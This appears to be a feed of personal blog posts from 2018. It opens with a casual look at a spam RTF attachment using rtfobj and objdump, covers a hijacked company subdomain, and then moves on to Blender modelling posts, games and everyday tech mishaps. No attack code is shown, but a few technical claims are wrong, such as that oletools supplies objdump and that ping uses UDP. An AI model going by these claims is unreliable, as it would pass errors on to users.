I get a lot of spam and I ask my ISP not to filter it, I am interested in what is getting thrown about. I have addresses going back to the late 90s. Some days I get nothing other days 10s of different spams. 

In the past I have got hundreds, but I am guessing they are finally filtering out really old emails. Not to mention the number that arrive with a single character replaced/missing. I think they have a real problem with data corruption. But what does it matter when you are sending a scatter shot of tens of thousands and not expecting too many to stick?

It is quite rare that I get obvious malware attachments and I normally just make them as spam. This time I decided to see what I could see.

The email attachment was a [em].doc[/em] file on the end of a short story about how I should check the supplied product list.

I save the attachment and ran 

<code>file Product_list.doc</code>
This told me it was and RTF Rich Text File and the internet said I needed the [em]rtfobj.py[/em] Python script to interrogate it.
[url]https://github.com/decalage2/oletools/wiki/rtfobj[/url]

<code>rtfobj.py -s all Product_list.doc</code>
Where [em]-s all[/em] saves all the embedded files in the RTF file.

There were six files all malware, couple of .cmd files that setup the windows registry to run the rest were .exe files.

Using [em]file[/em] again showed they were windows executables PE32.
After running [em]strings[/em] a few times I realised I needed something more focused on windows binaries.

<code>pip install -U oletools</code>

gave me [em]objdump[/em] and [em]nm[/em]

<code>objdump --no-show-raw-insn -x -s -h -g -C -d -M intel Product_list.doc_mondi.exe | less</code>
(read the help, all those options do make sense)

But sadly no fun URLs/API end points to poke at.

And all references came up as known malware so a bit of a dead end, but I did have have exploring.

</description>
</item>
<item>
<title>The grand unfurling of blue pi</title>
<pubDate>Sun, 23 Sep 2018 23:06:14 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2018.html#p230920182306</link>
<description>
I revisited the [url title="Blueprint unfurl"]Sep2018.html#p170920182342[/url]. Although the blueprints mesh shifting issue had been mitigated by using a [em]Track To[/em] constraint with the lighting and camera it still felt messy. So I deleted everything and started over.

I am pretty sure the issue was with the Scaling of the Curve not being applied, because this time around I was meticulous about applying any changes ASAP. It seems to have worked.

<img src="images/blueprintunfurl0031.jpg" alt="Rendered Raspberry pi blueprint unfurling frame 31">

I also added to two additional Curve modifiers to subtly have the starting corners curled.

The blueprint image was added via [em]Image as Planes[/em] with a copy of the mesh positioned a tiny bit down and with the same modifiers for the backing.

Finally I added some subtle noise to both the image and back textures to give it all some depth.

As per usual I would have loved to do more, but I MUST GET THIS PROJECT FINISHED!!

Could have had a Raspberry Pi mesh pinning the start of the blueprint, or falling at the end, or coming out of the image ...

It was nice to have such a simple render that it took 3 minutes per frame and not 3 hours.

Note to self, the [em]Subserv Modifier[/em] in [em]Simple[/em] mode must be applied in many circumstances to work properly.
</description>
</item>
<item>
<title>empty ebook hack takes over</title>
<pubDate>Sat, 22 Sep 2018 23:09:38 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2018.html#p220920182309</link>
<description>
Who got hacked now?

We got an email from Google informing us that the company website had been hacked and was hosting "hacked" content. 

1: why is Google referring to content as "hacked"?
2: is the company website OK?
3: have we been hacked?
4: what are we going to do about it?

1: worried me, as that did not seem to be the language Google would use. But all the headers and links checked out as being real Google.

2: Loaded up my secure VM for web browsing and the main and secondary web sites seems fine. Closing the VM reverts it to the previous state.

3: The Google email is referring to a sub domain that I do not recognise BUT has the name the company might use. It was industry specific and extremely unlikely to have been generated randomly.
Visiting the sub domain showed a Ferrari image and references to e-book mirroring. Uh Oh!

4: Loaded up the web hosting admin panel. There is the sub domain, but all it has is a DNS record to redirect. It is not a web site with files we own or can get at.
Ring hosting provider and ask when DNS changed, no records are kept for sub domains! But they could tell me when the main domain had been updated, which was 9 months ago and no relevant, drat.

After some back and forth it became apparent that the DNS could only be changed by the user and the user had not changed the DNS. Mysterious ... and nobody claimed responsibility for creating the sub domain.

Deleted the sub domain but only after copying the DNS details. IP pointed to Digital Ocean, a well know hosting provider that we have never used. I filled in their abuse feedback form.

Then I ran [em]wget[/em] to mirror the dodgy site. Even though the DNS was deleted the Digital Ocean server was still accepting [em]Host Headers[/em]

Fishing through the downloaded file I was surprised to find nothing. All the 30+ pages had the same non-content talking about e-book mirroring but having no actual e-books.

There was a "report DMCA" link that ended up at a Google form, so I reported that.

Conclusion; hacker would monitor the site and if undisturbed would then populate with whatever.

But then I searched on the text the hacker had used and what turned up was unexpected. The vast majority of results were host name checkers that had indexed domains with the hackers text. Trying to visit the actual site lead to DNS errors and 404s.

But there were a couple still up and hosting ... the same ... nothing! Pages and pages of empty pages, no links, no files, no exploits or codes or anything obvious.

Conclusion; no idea ... 

But now someone had a tiny memory that [em]maybe[/em] that sub domain had been setup to point to a free trial of some software. Of course there were no details and it would have been ages ago, double drat!
</description>
</item>
<item>
<title>poc blue page curl animation</title>
<pubDate>Mon, 17 Sep 2018 23:42:36 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2018.html#p170920182342</link>
<description>
Yay! all the frames are done.

I have been planning an intro and I need to make sure my ideas are not to involved or it will just take too long.

The [url title="blueprints"]Apr2018.html#p090420182321[/url] I did in April will unfurl under a spotlight.

I created a POC by adapting a Bezier Circle and adding more vertices so it resembled a spiral. Applying this curve as a Curve Modifier to a plane and you get the page curl effect.

But not so fast. First I rotated the Curve and then manipulated it's [em]local[/em] location and then secondly I had the camera and spotlight follow an animated Empty. Because each time I animated the page curl curve the page itself would move.
</description>
</item>
<item>
<title>kids try and microwave house</title>
<pubDate>Sun, 16 Sep 2018 15:38:01 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2018.html#p160920181538</link>
<description>
18 frames done, 12 to go.

In other news I was ill most of last week and yesterday the kids tried to burn down the house via microwave popcorn. sigh
</description>
</item>
<item>
<title>the persistence of good enough</title>
<pubDate>Sun, 09 Sep 2018 11:52:41 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2018.html#p090920181152</link>
<description>
Good enough [url title="Raspberry Pi HiRes project"]raspberrypihiresproject.html[/url]

I really REALLY need to put the whole [url title="Raspberry Pi HiRes project"]raspberrypihiresproject.html[/url] to bed. With that is mind, here is the completed "The Persistence of Pi"
<img src="images/dali-pi-pis.jpg" alt="Dali homage to the persistence of memory substituting clocks with raspberry pis">

There are many bits that are not right, but I have been tweaking it for a while now and I am marking this GOOD ENOUGH!

That image rendered at 1920x1080 2000 samples took 2hrs 38mins and I have a animation planned to give the image a sense of depth.

Speaking of samples. I was getting a lot of fireflies on the tree from the Pi pins on the branch. I set the Preview Sample to 0 and just let it keep on going. By 1000 samples most of the main really string white fireflies had gone and by 2000 it was just not that noticeable anymore.
</description>
</item>
<item>
<title>dali persistence of pie minus the pis</title>
<pubDate>Mon, 20 Aug 2018 21:58:15 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2018.html#p200820182158</link>
<description>
Surrealist progress on the [url title="Raspberry Pi HiRes project"]raspberrypihiresproject.html[/url]

Never tried anything like this before in Blender, but I am quite pleased with how well it is going. It is supposed to be a homage to Dali's Persistence of Memory.
<img src="images/dali-pi-no-pis.png" alt="Dali-esc landscape with an emptying pie ready for more pis">

There are loads and loads of things that are wrong, or not quite right. But time is a factor so I am doing "best efforts" rather than spending a ridiculous amount of time perfecting it.

Are am still in two minds about adding a set of rough/glossy maps to the Pi main board. But to complete this image I will not be adding them now.
</description>
</item>
<item>
<title>knifing the raspberry to get a bent lattice pi</title>
<pubDate>Sun, 19 Aug 2018 00:10:48 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2018.html#p190820180010</link>
<description>
Progress on the [url title="Raspberry Pi HiRes project"]raspberrypihiresproject.html[/url]

Lattice Modifier does not quite work like that. I need the Mesh to have enough Vertices to be deformed. So in the case of the main board I need some edges that go across, currently all of the triangles are length ways.

All I needed to do was add edge loops! CTRL+r ... nope not going to let me do that :(

First I tried a Remesh at oct tree 7. Mesh looked good but UV was gone. Manually re-adding the UV did not go perfectly and after some Island stretching and repositioning I gave up. It was not right and the mesh was super dense. The best way to resolve would have been to go to out tree 8 but this would have made the Mesh to dense to work with.

Then I tried creating a Plane, adding edge rings and removing all Faces so it looked like a wire multi-slicer. Then I used the Knife Project to slice through the board (making sure cut through was enabled) but this did not lend itself to lining up against the existing vertices and missed out the odd one on the side. I did mitigate that by tipping the mesh in Orthogonal view. The UV was preserved but not good enough.

Finally I tried the basic Knife tool with angle constraint and cut through enabled. Success! The Knife tool snaps to the existing vertices and with the Orthogonal view the straight lines went from one side to the other. No I just need to manually cut the board 20 times :(

Subdivided up the chips a few times and added a Lattice. But this time I did not Join all my Mesh components together. Instead I selected them all and lastly selected the new Lattice, then CTRL+p to bring up the Parent menu and selected Lattice Deform. This created a Lattice Modifier for each and every Mesh using the same Lattice.

Looking good!
<img src="images/screenshoot_bend_testcircuitboard107_m004_demod006_005.png" alt="raspberry 3d model bent in Blender software">

and because this the Lattice Modifier it is Non-Destructive. I can turn it off or change it at anytime!


</description>
</item>
<item>
<title>bent pi floats non-manifold chips in the most delightful way</title>
<pubDate>Fri, 17 Aug 2018 08:44:52 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2018.html#p170820180844</link>
<description>
Slight [url title="Raspberry Pi HiRes project"]raspberrypihiresproject.html[/url] issue/s.

Now to check that there are no more Flat shaded Objects. Hmmm two remain, but I can not find them in the outliner??
<code>bpy.data.objects.data.meshes</code>
has two meshes that I can not find if I go through all objects with
<code>
for obj in bpy.data.objects:
        if obj.data :
            if obj.data.name[0:7] == "Cube.05" :
                print(obj.name, obj.data.name)
</code>

After a few hours convinced my code was bad I tried closing and re-opening Blender... No Flat Meshes found, grrr! Never seen Blender commit such a foe par, still this was odd circumstances.

So I have applied the Modifiers, made everything Smooth and enabled Auto Smooth with the default 30&deg;. As I did this piecemeal it did flag up some odd duplicates that I was able to remove.

All I need to do is CTRL+J join everything together...

Well that looks good! Let us try adding a very simple Lattice Modifier...

Wow! bends and ... oh! oh dear, something has gone a bit wrong.

<img src"images/screenshot_failure_circuitboard107_master_004_demod.008.jpg" alt="blender render of raspberry pi model bent by lattice modifier with some obvious modelling issues highlighted">

Highlighted there is the board not remaining a constant thickness, the main chip floating off and large number of other components doing a little dance.

I believe the issue is having not CTRL+A Applied all the Location, Scale and Rotation transformation. Easy fix once everything is a Mesh.

There is also the minor issue of cursory check showing a lot of [em]Non-manifold geometry[/em]. Which is the scourge of the 3D world and basically boils down to Meshes not being water tight.

This is going to take a lot more work :(
</description>
</item>
<item>
<title>auto smoothing experimentation causes disabling correct reporting</title>
<pubDate>Wed, 15 Aug 2018 20:09:29 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2018.html#p150820182009</link>
<description>
Roar [url title="Raspberry Pi HiRes project"]raspberrypihiresproject.html[/url]. The next stumble in trying to collate all the component Meshes and make a single MASTER MESH!

So it turns out that [em]Plane.005[/em] is in fact the Mesh that underlines the HDMI connector that is helpfully named [em]hdmi connector[/em]...

But rather boringly [em]Plane.005[/em] and [em]Plane,Plane.006,Plane.009,Plane.015[/em] have the Auto Smooth set to 30&deg; which is the default.

That is rather odd, because I found 86 that have the Auto Smooth set to 180&deg;. I have verified this correct, 86 Objects that have a value set but is not enabled!

Judging by the spot check showing they are mostly Solder blobs I am guessing I duplicated one when I was experimenting with Auto Smooth. Obviously the default setting is just too good.

This may mean I can join everything then set it Smooth [em]and[/em] add Auto Smooth, with the default 30&deg; setting :)
</description>
</item>
<item>
<title>attempted smooth attack with a blender pi</title>
<pubDate>Wed, 15 Aug 2018 18:50:05 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2018.html#p150820181850</link>
<description>
Moar [url title="Raspberry Pi HiRes project"]raspberrypihiresproject.html[/url]. The next step in trying to collate all the component Meshes and make a single MEGA MESH!

So we have applied all the Modifiers now we need to find all the Smooth/Flat shading and the Auto Smooth amounts.

Time for some coding
<code>import bpy, math

def is_smooth(polys):
    smoothed=False
    for poly in polys:
        if not smoothed: 
            smoothed = poly.use_smooth
    return smoothed

for mesh in bpy.data.objects.data.meshes:
    print(mesh.name, is_smooth(mesh.polygons), mesh.use_auto_smooth)
    print("{:8.4f}".format(math.degrees(mesh.auto_smooth_angle)) )
</code>

402 results of which 28 are Flat shaded.

The [em]mesh.name[/em] is not the [em]object.name[/em], so it's Cube.721 etc :(

Still the Auto Smooth angle seems consistently at 180&deg;

But something is up because the number of Meshes reported with Smooth Shading and Auto Smooth is just five.

Need to think on this a bit.
</description>
</item>
<item>
<title>de-modifing the pi with outliner</title>
<pubDate>Wed, 15 Aug 2018 18:24:17 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2018.html#p150820181824</link>
<description>
Back to business, Pi business that is, [url title="Raspberry Pi HiRes project"]raspberrypihiresproject.html[/url]. The next step is to collate all the component Meshes and make a single MEGA MESH!

Small problem, when I last tried this the Object settings got mashed up and things that were Flat shaded were Smooth and vice versa. Not to mention the Modifiers being lost, like the USB Mirror Modifier leaving half a port.

First things first, how many components are we talking?
<code>import bpy

scene = bpy.context.scene

obj_active = scene.objects.active
selection = bpy.context.selected_objects

for obj in selection:
    print(obj.name)
</code>

There are 13 main components, HDMI, USB etc and 183 smaller Meshes, resistors, capacitors etc.
(not going to list them all here)

Now I needed to get a list of all the Meshes with Modifiers and remove those modifiers.
code?

Hmmm, Python would be able to find them but I wonder if...

In the Blender Outliner panel you can search by name and if you search for &quot;Modifiers&quot; it handily finds all the Modifiers attached to Meshes and expands the tree to show them!

Spent an hour or so just going through each one (over 100) applying the modifier and making sure nothing breaks.
</description>
</item>
<item>
<title>mitigated a sticky mouse situation under the sun</title>
<pubDate>Thu, 09 Aug 2018 21:34:20 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2018.html#p090820182134</link>
<description>
My mouse melted, [url title="again (scroll to the bottom)"]/flog/Aug2010.html#140820101014[/url]!

At least this time it was not the rubber spontaneously giving up the ghost but the glue holding the rubber. But considering the similarities I do wonder if it was the glue on the Microsoft mouse last time.

Here I have my Cooler Master CMSTORM Devastator, which I dearly love due to its design and the fact it fits in my massive hands. The place your thumb rests is a rubber mat and a few days ago it looked like its bleeding a sticky transparent substance.

This ick was not water soluble and I do not have any alcohol based cleaners. Had to peel off the rubber and the scrub with soap and hot water and then the glue still put up a fight. Once dried I just super-glued it back on. This morning I tested my handy work and it works perfectly.

Small confession. We are currently experiencing an unusual prolonged heatwave here in the UK and after trying a mixture of blinds closed, windows opened I opted for blinds wide open and windows wide opened. In the hope that some of the trapped hot air would get replaced. Technically it worked but the sun would have been bearing down on my desk and ... you guessed it my mouse.

How do I know? The side away from the window that has the same rubber pad was not affected. I wonder what the operating temperature of the glue is/was... 
</description>
</item>
<item>
<title>lucky rigid bucket settle for proxy pis</title>
<pubDate>Thu, 09 Aug 2018 17:33:59 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2018.html#p090820181733</link>
<description>
OK that did work well, though I would love an opportunity to re-shoot, the camera moves a bit too fast.

Here is the same montage but only showing the blocks that were physically calculated. Meaning it was real-time.

<img src="images/rpi_shot4_10_frame_block_montage.jpg" alt="Montage of 10 frames of proxy block objects falling into a bin of Raspberry pis">

Here you can see that the Bucket, the Conveyor tray and the End roller are part of the physics simulation, all set as Passive. While the proxy Cube objects are spaced out over each other in the bucket.
<img src="images/rpi_shot4_rigidbody.jpg" alt="Blender partial screenshot of the Rigid Body setup, Raspberry Pis falling off a conveyor belt">

The Cubes in the bucket all settle out of the camera's view.

It was great when the Cube from the belt bounced around and ended up down the side of the Bucket. That was all pure luck!
</description>
</item>
<item>
<title>fake pi real physics looks ok in miniature</title>
<pubDate>Mon, 06 Aug 2018 22:12:44 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2018.html#p060820182212</link>
<description>
That worked pretty well
<img src="images/rpi_shot4_10_frame_montage.jpg" alt="Montage of 10 frames of a Raspberry pi 3d model falling into a bin of Raspberry pis">

These frames were taken using the frame step set to 10, the samples set to 15 and the render size set to 25%. Because of the low settings they took about a minute each to render.

From that I could see the physics appears to work OK with each animated block being replaced by a Pi model.

Still got to wait until tomorrow to see the results, started rendering the 90 frames two days ago.

Once this is complete I can move on to the final [em]must have pi renders[/em], the Dali render. I have sketched it out but I have no idea how long it will take to model, to my specification.
</description>
</item>
<item>
<title>blender physics cheat test in 5 4 3 2 1</title>
<pubDate>Sat, 04 Aug 2018 21:39:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2018.html#p040820182139</link>
<description>
OK so that is another FOUR seconds of video and it only took 5 days!

Next bit is a mix of pre-scripted animation and physics. The trick I will be trying out is to use the physics engine to animate some simple cubes then bake the animation and finally parent copies of the Raspberry Pi Hi-Res model to the basic cubes.

It will not match the contours of the Pi but I am confident it will not be obvious in the short clip. If necessary I can repeat the physics with more detailed meshes, think a flat cuboid with extrusions for the large USB/Ethernet ports.
</description>
</item>
<item>
<title>ffmpeg saves another blender video</title>
<pubDate>Mon, 30 Jul 2018 13:49:29 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2018.html#p300720181349</link>
<description>
really surprised I had not posted this ages ago

<code># blender video re-encoding from defaults so it can be imported without a speed strip
ffmpeg -i yourfile.mkv -c:v libx264 -crf 23 -pix_fmt yuv420p -c:a copy -r 24 newfile.mkv</code>

This becuase Blender uses an out of date ffmpeg library.
</description>
</item>
<item>
<title>do not celebrate until it is too pi</title>
<pubDate>Sun, 29 Jul 2018 17:28:10 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2018.html#p290720181728</link>
<description>
Frame 350 completed!

Celebration time? Not quite.

Firstly I noticed I had not set the Seed to Frame in Sampling. This has created a consistent static sheen of random noise across the animation frames. Looks a bit rubbish but I am not re-rendering everything again.
That will teach me to check a few frames and not look at the whole animation full screen.
If I had it set then each frame would have had a different noise profile and the lack of samples would not be so obvious.
<img src="images/blender_sampling_seed.png" alt="Blender 3d software Seed from Frame setting UI" >

Then I found that the next piece of animation would invalidate at least HALF of that animations frames :( This is because the model used changes, from the empty board to the populated one.
<img src="images/rpi_shot3_0199_small.jpg" alt="3d rendering of a raspberry pi 3 model B inside a fictional manufacturing unit" >

To get the Raspberry Pi model into my conveyor belt scene I first cleaned up the Pi model and created an empty. This empty was set to display type cube and scaled to fit around the Pi model. This Empty is then used as the Parent of all the components.

Opened the Conveyor belt .blend file and used File/Append selected the Pi .blend and spent ages trying to select all the Materials/Images/Curves/Meshes and Objects, only to have it fail with the message "Nothing Indicated". To fix all I had to do was ONLY select the items from the Objects as everything else is linked from Objects automatically.

Now I had the Pi with it's handy Empty/Parent to move, rotate and scale! The pivot point was not where I needed it to be, so I created another Empty and set to the edge of the Pi. This was as the Parent to my current Pi Empty and then that was parented to the existing and already animated un-populated Pi board. Hide the un-populated Pi board and all the animation was done!
So just to recap; all the components of the Pi were Parented to an empty that represented the Volume of the Pi, this was Parented to another Empty whose only job was to define the Pivot point for rotations and finally that Empty was Parented to the already animated un-populated Pi board, which was the hidden.

While doing the research into those various aspects of Blender I randomly came across a note of how Animation Modifiers can make infinitely rotation objects of a constant speed. This is interesting as I had spent ages tuning the rotation of my conveyor belt rollers, only to need then to continue at the same speed when extending the animation. I had had to measure the change in value against time and then factor the rate of change to apply to the extension.

Not to mention I am now rendering another 154 ,new frames :p
</description>
</item>
<item>
<title>frame 289 so far</title>
<pubDate>Wed, 25 Jul 2018 15:23:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2018.html#p250720181523</link>
<description>
Frame 289 :(

Really should have opted for a low resolution. Will I learn my lesson for next time, probably not.
</description>
</item>
<item>
<title>raspberry pi cooking taking longer than expected</title>
<pubDate>Sat, 21 Jul 2018 21:16:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2018.html#p210720182116</link>
<description>
The [url title="Raspberry Pi Project"]/raspberrypihiresproject.html[/url] is progressing.

I created a 350 frame scene and the frames are rendering one every 40mins. Currently on frame 158 and I started in running four days ago.
<img src="images/rpi_shot3_0001_small.jpg" alt="3d rendering of frame 001 scene 3 Rendering a Raspberry Pi">

Really should not do this at 1920x1080 but I want to get it looking really nice.

There are two more scenes to animate and render after this and then a unrelated render to do before I can start editing all this together into the final video.

The final render was going to be a short animation but this is ridiculous!

Might be finished by Xmas (but which one?)!
</description>
</item>
<item>
<title>Sun dog millionaire</title>
<pubDate>Sat, 21 Jul 2018 20:37:56 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2018.html#p210720182037</link>
<description>
Saw my first [url title="Sun dog"]https://en.wikipedia.org/wiki/Sun_dog[/url] tonight.

Not amazing enough to take a picture of but still a bit wow.
</description>
</item>
<item>
<title>a true ping returns instantly</title>
<pubDate>Thu, 05 Jul 2018 22:13:06 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2018.html#p050720182213</link>
<description>
We have a [url title="Pingdom"]https://www.pingdom.com[/url] account that monitors the company web sites. It rarely goes off and if it does it usually for a 10-20 second outage. So it was a bit worrying to receive an alert and not have it immediately followed by a all-clear.

I got to work and tried pinging the server ... 100% packet loss. Then I tried pinging Google ... 100% packet loss. But I could browse the internet and Google was working fine...

Then I remembered, the serviced offices we are in are blocking UDP ports(aka ping). Drat! But I could ssh into one of our hosted web servers and use ping from there. Perfect.

<code>ping servername</code>


Nothing happened, no error, no pinging and the prompt just returned.

<code>ping google.com</code>

same result.

<code>which ping</code>
<code class="output">/bin/ping</code>
<code>ls -l /bin/ping</code>
<code>lrwxrwxrwx 1 root root 20 Nov 13  2013 /bin/ping -> /bin/true</code>

say what !?

ping points to true and true just returns true, i.e. no errors.

/me face palms

thanks [url title="1and1"]https://www.1and1.co.uk[/url]

By that point the [url title="Pingdom"]https://www.pingdom.com[/url] alerted me to the fact the site was back online. Still no idea what happened!
</description>
</item>
<item>
<title>a nation of light blenders for superman</title>
<pubDate>Thu, 05 Jul 2018 21:57:16 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2018.html#p050720182157</link>
<description>
One site I love and visit at least once a day is [url title="Blendernation"]https://www.blendernation.com/[/url]. It is hub of great Blender stuff, from short movies to tips and tricks through a dizzying array of tutorials.

The tutorials range from hour+ long master classes to quick five minute how-tos. I have tried twice to submit my videos and failed. But the feedback was constructive and I have improved my techniques.

Now (almost a month ago) they have published my short tutorial [url title="Zooming Light Titles"]https://www.blendernation.com/2018/06/10/tutorial-zooming-light-titles/[/url]

<iframe width="560" height="315" src="https://www.youtube.com/embed/cPvYAHc9vCE" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>

It was something I had had in my head for a while and one lunchtime I tried out the technique. Not only did it work it was pretty damn cool. I had to share it with the world.

I thought it would be fun to use "Superman" as my example text as I clearly remember being allowed to stay up late to watch the beginning of the film only to find I only ever got to see the overly long titles!

A little bit of Googling lead to [url title="Art of the Title : Superman"]http://www.artofthetitle.com/title/superman/[/url] a page talking about the making of the original titles!

(it also highlighted how my titles were not so similar)

I never promote my work to try and get Likes/Followers/Subscribers but I sometimes do want to spread the joy of what I have been working on. So I was very happy to find that

The Video has over 600 views and 9 thumbs up and 8 subscribers!

I am doing something right
</description>
</item>
<item>
<title>breath of the wild took my breath away and i want it back</title>
<pubDate>Sun, 01 Jul 2018 23:32:07 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2018.html#p010720182332</link>
<description>
It is finally over!

My terrible ordeal. I have said goodbye to an addiction that took a heavy toll on me. And it really was an addiction. I continued to do it even though I knew it was causing issues to myself and others and I even sustain physical injury from it, though very minor. I disregarded things that normally would be my highest priority.

What the hell am I talking about? 

[em]The Legend of Zelda: Breath of the Wild[/em]

A computer game on the Nintendo Switch. A game I am going to call [em]The best game I have ever played[/em]. There is so much to this game it feels like nothing I have ever played before, and played it I have.

We have. 

Just over a month ago my kids saved up and bought [em]tLoZ:BotW[/em] and I happened to see their first attempts. I likened it to [em]The Legend of Zelda: Twilight Princess[/em] on the Wii and demanded a go.

Mistake number 1, was take the Switch from the communal TV and place it in my office. It is designed to be easily moved and just thought after playing it I would put it back. That was five weeks ago. My office offers a much more comfortable gaming experience and after seeing my playing in it, my kids demanded the same privilege.

This game is massive and hugely open, allowing the player to use a variety of play styles. For instance, the world is laid out with a number of roads, but I opted to always avoid them. Choosing instead to take my time roaming mountain ranges and gorges. This lead to two things. One, I found a lot of cool things that the play is not supposed to find until later in the game and two, I missed out on a number of plot points because, essentially I was avoiding the plot.

I was playing a minimum of 3 hours a day and 6 hours per non-week day. But that does not include the additional hours my kids were putting in. Meaning that as a family we were averaging 34 hours a week non stop for five weeks.
(and loving ever moment of it)

I could write volumes on what I saw in that gaming world but the easiest way to avoid boring you is to note the game was over six years in the making. There are main quests, shrine quests, side quests and additional quests to complete. Most can be done at any time and in any order but they total the hundreds. Not to mention the collecting of food, elixir, enhancement ingredients, cooking useful food/elixirs, mining rocks and collecting seeds. And that does not cover the variety of weapons, collecting pictures, clothing and defeating enemies.

And that ... does not include the game play physics, the weather patterns, the in world clock, the graphics and the music.

The graphics do need a special mention. The are the best you have ever see, the shadows from the clouds, the non-repeating textures and geology and the furthest draw distance I have ever witnessed.

OK, enough gushing. I have quit [em]tLoZ:BotW[/em], I announced it to the kids and I am not going back. I completed all the main quests, all the shrine quests, all the shrines and 72/77 side quests, not to mention numerous "bits" that are part of the game experience.

So why not finish off the last few side quests? Because they are silly time consuming filler tasks and I have done many of them and want my time back!

NO MORE!

plus there is something very important I need to blog about and should have flogged about weeks ago ...
</description>
</item>
<item>
<title>stuff and youtube nonsense in the Savannah</title>
<pubDate>Sun, 03 Jun 2018 14:32:17 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2018.html#p030620181432</link>
<description>
Been doing some stuff...

First up was a promo video, that based on the "client's" requirements should be 'fun' and 'engaging'. I created lots of cool Blender 3D bits and it looked great!
But they did not like it and slowly we paired off ALL of the 3D work and that just left the scrolly text, oh and one bouncing cube.
Never the less I was very happy with the work I created using Blender and of course all the editing was done in Blender. Filming in our bath tub, I am not kidding.

Then there was another homework project. No time to do anything 3D but Blender allowed me to edit the footage and add images and credits with ease.
<iframe width="560" height="315" src="https://www.youtube.com/embed/WkLiAeRyoGE" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>

Finally there was a lunch time project that got out hand and I really want to do a video tutorial with voice over. It generates text title animations reminiscent of the Superman zooming titles and logo.
</description>
</item>
<item>
<title>microsoft destroy all humans again</title>
<pubDate>Thu, 17 May 2018 22:31:18 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2018.html#p170520182231</link>
<description>
While I am waiting for the rendering Microsoft announced that an Original XBox game is now supported on the XBox One. "Destroy All Humans"

Which I own, or more to the point forgot I had in a shoe box with other worthless games.

<img src="images/destroyallhumans.jpg" alt="photo of destroy all humans THQ xbox box manual and disk">

We put the disk in and ... "Not recognised"

Tried a few times and got the same response so went off to the XBox store and found the game &pound;14.99 but no obvious ways of saying we own it ...

Went through the buying process and quit on the accept purchase step and then the XBox requested and update and then the disk was recognised!

Wow! This game brings back memories. Released in 2005, it plays a bit like GTA with a semi open world and missions/side-missions.

Surprising how the graphics hold up pretty well to today's titles and the game play is perfect. Start with a little and each time you find yourself under powered there is a path to upgrade.

Recommended, even for &pound;14.99, lots of game play and replayability.

Now, I also own "Destroy all Humans 2" for the Original XBox ...
</description>
</item>
<item>
<title>the devil is in the details</title>
<pubDate>Thu, 17 May 2018 20:32:20 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2018.html#p170520182032</link>
<description>
[url title="previously on"]/flog/May2018.html#p120520181111[/url]
All 256 frames are now rendered and I got my "detail" and the detail shows up a tiny error :(

Less than 10 seconds to fix and now 8 more days of rendering!

In other news...
</description>
</item>
<item>
<title>suzannes pulsating monkey brain</title>
<pubDate>Sun, 13 May 2018 15:22:14 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2018.html#p130520181522</link>
<description>
OK, so I am now at frame 166 averaging 40mins per frame, but on another computer I did do this

<iframe width="560" height="315" src="https://www.youtube.com/embed/pr5YzCG_AM0" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>

I worked through the CG Masters Dust in the Wind VFX tutorial - [url title="Blendernation tutorial article"]https://www.blendernation.com/2018/05/07/dust-in-the-wind-vfx-in-blender/[/url]

The premise is quite simple. Create a boolean operation that is animated to make the Monkey(Suzanne) disappear over time. Create a Particle Emitter that gives off dust/sand but keep its position and size in sync with the original boolean modifier.

On top of that add wind and a dust/sand particle. For fun I added a pulsating brain that is exposed while the head dissolves and wire-frame monkey head outside of it all.

The reason the brain got introduces was simply that the boolean modifier seemed to be failing when the cube intersection got to Suzanne's eyes. The head would suddenly become concave and then solid again once the cube intersection had passed bottom of the eyes. This was eventually fixed by sealing the eye sockets, as the eyes on the model are separate and do leave "eye sockets".
</description>
</item>
<item>
<title>apple rants external displays into 10.13.4</title>
<pubDate>Sat, 12 May 2018 13:28:59 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2018.html#p120520181328</link>
<description>
I hate Apple! Nothing new there, but it is the reactions of the apple-fan-boys that amazes me most.

I watched in horror as perfectly working and in use Mac book rebooted without warning restarted and then installed the 10.13.4 update. The reboot then rendered the external screen blank.
There are few people having this issue, [url title="1100+ and counting"]https://support.displaylink.com/forums/287786-displaylink-feature-suggestions/suggestions/33252664-macos-high-sierra-10-13-4[/url]. It is not just affecting DisplayLink, [url title="Apple forum"]https://forums.developer.apple.com/thread/96534[/url].

The scary thing is that this was reported by a large number of testers well over a month before the general release of 10.13.4 and Apple just let it go through. The response from fan-boys was that because DisplayLink was using undocumented hacks they should not be surprised. Except they are not, many years a ago they did have to try some odd hacks to get iOS drivers to work but that is for iPad and phones only. And the little matter that ALL the external display manufactures are affected.

